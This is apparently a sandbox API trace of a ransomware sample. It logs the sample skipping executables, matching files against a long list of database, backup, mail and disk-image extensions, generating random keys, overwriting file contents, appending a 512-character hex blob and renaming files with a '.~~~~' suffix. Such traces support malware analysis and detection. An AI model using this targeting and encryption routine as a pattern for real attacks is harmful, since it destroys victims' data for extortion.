	[0083.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0083.153] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2807760
	[0083.153] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.153] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807760 | out: hHeap=0x300000) returned 1
	[0083.153] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0083.154] GetLastError () returned 0x0
	[0083.154] GetLastError () returned 0x0
	[0083.154] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0083.154] GetLastError () returned 0x0
	[0083.154] GetLastError () returned 0x0
	[0083.298] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffef249, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0083.298] WriteFile (in: hFile=0x11c, lpBuffer=0x2856fe8*, nNumberOfBytesToWrite=0x10db7, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2856fe8*, lpNumberOfBytesWritten=0x1f8fec0*=0x10db7, lpOverlapped=0x0) returned 1
	[0083.298] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2856fe8 | out: hHeap=0x300000) returned 1
	[0083.298] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.298] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0083.299] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0083.299] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.299] CloseHandle (hObject=0x11c) returned 1
	[0083.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4328
	[0083.396] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm.~~~~")) returned 1
	[0083.397] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4328 | out: hHeap=0x300000) returned 1
	[0083.397] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0083.397] GetLastError () returned 0x0
	[0083.397] RtlWakeConditionVariable () returned 0x365f70
	[0083.397] GetCurrentThreadId () returned 0xaf0
	[0083.397] GetCurrentThreadId () returned 0xaf0
	[0083.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4328
	[0083.397] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a53b0 | out: hHeap=0x300000) returned 1
	[0083.397] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2218 | out: hHeap=0x300000) returned 1
	[0083.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a53b0
	[0083.398] lstrlenW (lpString=".scr") returned 4
	[0083.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".scr") returned 0x0
	[0083.398] lstrlenW (lpString=".cmd") returned 4
	[0083.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".cmd") returned 0x0
	[0083.398] lstrlenW (lpString=".dll") returned 4
	[0083.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".dll") returned 0x0
	[0083.398] lstrlenW (lpString=".bat") returned 4
	[0083.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".bat") returned 0x0
	[0083.398] lstrlenW (lpString=".cpl") returned 4
	[0083.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".cpl") returned 0x0
	[0083.398] lstrlenW (lpString=".sys") returned 4
	[0083.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".sys") returned 0x0
	[0083.398] lstrlenW (lpString=".msc") returned 4
	[0083.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".msc") returned 0x0
	[0083.398] lstrlenW (lpString=".com") returned 4
	[0083.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".com") returned 0x0
	[0083.398] lstrlenW (lpString=".lnk") returned 4
	[0083.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".lnk") returned 0x0
	[0083.398] lstrlenW (lpString=".msp") returned 4
	[0083.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".msp") returned 0x0
	[0083.398] lstrlenW (lpString=".pif") returned 4
	[0083.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".pif") returned 0x0
	[0083.398] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0083.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0083.399] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0083.573] lstrlenW (lpString=".sqb") returned 4
	[0083.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0083.573] lstrlenW (lpString=".ost") returned 4
	[0083.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0083.573] lstrlenW (lpString=".txt") returned 4
	[0083.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0083.573] lstrlenW (lpString=".mdt") returned 4
	[0083.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0083.573] lstrlenW (lpString=".BDB") returned 4
	[0083.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0083.573] lstrlenW (lpString=".eql") returned 4
	[0083.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0083.573] lstrlenW (lpString=".DBF") returned 4
	[0083.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0083.573] lstrlenW (lpString=".EQL") returned 4
	[0083.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0083.573] lstrlenW (lpString=".FDB") returned 4
	[0083.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0083.573] lstrlenW (lpString=".EDB") returned 4
	[0083.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0083.573] lstrlenW (lpString=".DACPAC") returned 7
	[0083.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0083.574] lstrlenW (lpString=".VHD") returned 4
	[0083.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0083.574] lstrlenW (lpString=".DBV") returned 4
	[0083.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0083.574] lstrlenW (lpString=".dacpac") returned 7
	[0083.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0083.574] lstrlenW (lpString=".sdf") returned 4
	[0083.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0083.574] lstrlenW (lpString=".accdb") returned 6
	[0083.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0083.574] lstrlenW (lpString=".DBX") returned 4
	[0083.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0083.574] lstrlenW (lpString=".MDT") returned 4
	[0083.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0083.574] lstrlenW (lpString=".SQB") returned 4
	[0083.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0083.574] lstrlenW (lpString=".vhd") returned 4
	[0083.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0083.574] lstrlenW (lpString=".bac") returned 4
	[0083.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0083.574] lstrlenW (lpString=".mdf") returned 4
	[0083.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0083.574] lstrlenW (lpString=".BAK") returned 4
	[0083.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0083.574] lstrlenW (lpString=".BAC") returned 4
	[0083.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0083.574] lstrlenW (lpString=".dbs") returned 4
	[0083.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0083.574] lstrlenW (lpString=".vhdx") returned 5
	[0083.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0083.574] lstrlenW (lpString=".NDF") returned 4
	[0083.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0083.574] lstrlenW (lpString=".dat") returned 4
	[0083.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0083.574] lstrlenW (lpString=".DBS") returned 4
	[0083.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0083.575] lstrlenW (lpString=".CKP") returned 4
	[0083.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0083.575] lstrlenW (lpString=".edb") returned 4
	[0083.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0083.575] lstrlenW (lpString=".PST") returned 4
	[0083.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0083.575] lstrlenW (lpString=".dbf") returned 4
	[0083.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0083.575] lstrlenW (lpString=".SQL") returned 4
	[0083.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0083.575] lstrlenW (lpString=".pst") returned 4
	[0083.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0083.575] lstrlenW (lpString=".dbv") returned 4
	[0083.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0083.575] lstrlenW (lpString=".SDF") returned 4
	[0083.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0083.575] lstrlenW (lpString=".dtxs") returned 5
	[0083.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0083.575] lstrlenW (lpString=".db3") returned 4
	[0083.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0083.575] lstrlenW (lpString=".OST") returned 4
	[0083.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0083.575] lstrlenW (lpString=".dbx") returned 4
	[0083.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0083.575] lstrlenW (lpString=".DB3") returned 4
	[0083.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0083.575] lstrlenW (lpString=".DAT") returned 4
	[0083.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0083.575] lstrlenW (lpString=".VHDX") returned 5
	[0083.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0083.575] lstrlenW (lpString=".ndf") returned 4
	[0083.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0083.575] lstrlenW (lpString=".DB") returned 3
	[0083.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0083.576] lstrlenW (lpString=".sql") returned 4
	[0083.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0083.576] lstrlenW (lpString=".MYD") returned 4
	[0083.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0083.576] lstrlenW (lpString=".DBT") returned 4
	[0083.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0083.576] lstrlenW (lpString=".ACCDB") returned 6
	[0083.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0083.576] lstrlenW (lpString=".fdb") returned 4
	[0083.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0083.576] lstrlenW (lpString=".bak") returned 4
	[0083.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0083.576] lstrlenW (lpString=".myd") returned 4
	[0083.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0083.576] lstrlenW (lpString=".DTXS") returned 5
	[0083.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0083.576] lstrlenW (lpString=".ckp") returned 4
	[0083.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0083.576] lstrlenW (lpString=".dbt") returned 4
	[0083.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0083.576] lstrlenW (lpString=".db") returned 3
	[0083.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0083.576] lstrlenW (lpString=".TXT") returned 4
	[0083.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0083.576] lstrlenW (lpString=".MDF") returned 4
	[0083.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0083.576] lstrlenW (lpString=".bdb") returned 4
	[0083.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0083.576] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0083.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0083.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0083.576] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0083.577] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.577] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.577] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0083.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0083.577] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20356759902) returned 1
	[0083.578] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9ba76170, dwHighDateTime=0x1d60e1e)) 
	[0083.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0083.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0083.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0083.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3828b0
	[0083.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3828b0 | out: hHeap=0x300000) returned 1
	[0083.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0083.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aa5b0
	[0083.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa5b0 | out: hHeap=0x300000) returned 1
	[0083.578] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0083.578] GetLastError () returned 0x0
	[0083.578] GetLastError () returned 0x0
	[0083.578] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0083.578] GetLastError () returned 0x0
	[0083.579] GetLastError () returned 0x0
	[0083.581] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffff94f1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0083.581] WriteFile (in: hFile=0x118, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x6b0f, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x6b0f, lpOverlapped=0x0) returned 1
	[0083.581] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0083.581] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.581] WriteFile (in: hFile=0x118, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0083.581] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0083.581] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.581] CloseHandle (hObject=0x118) returned 1
	[0083.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
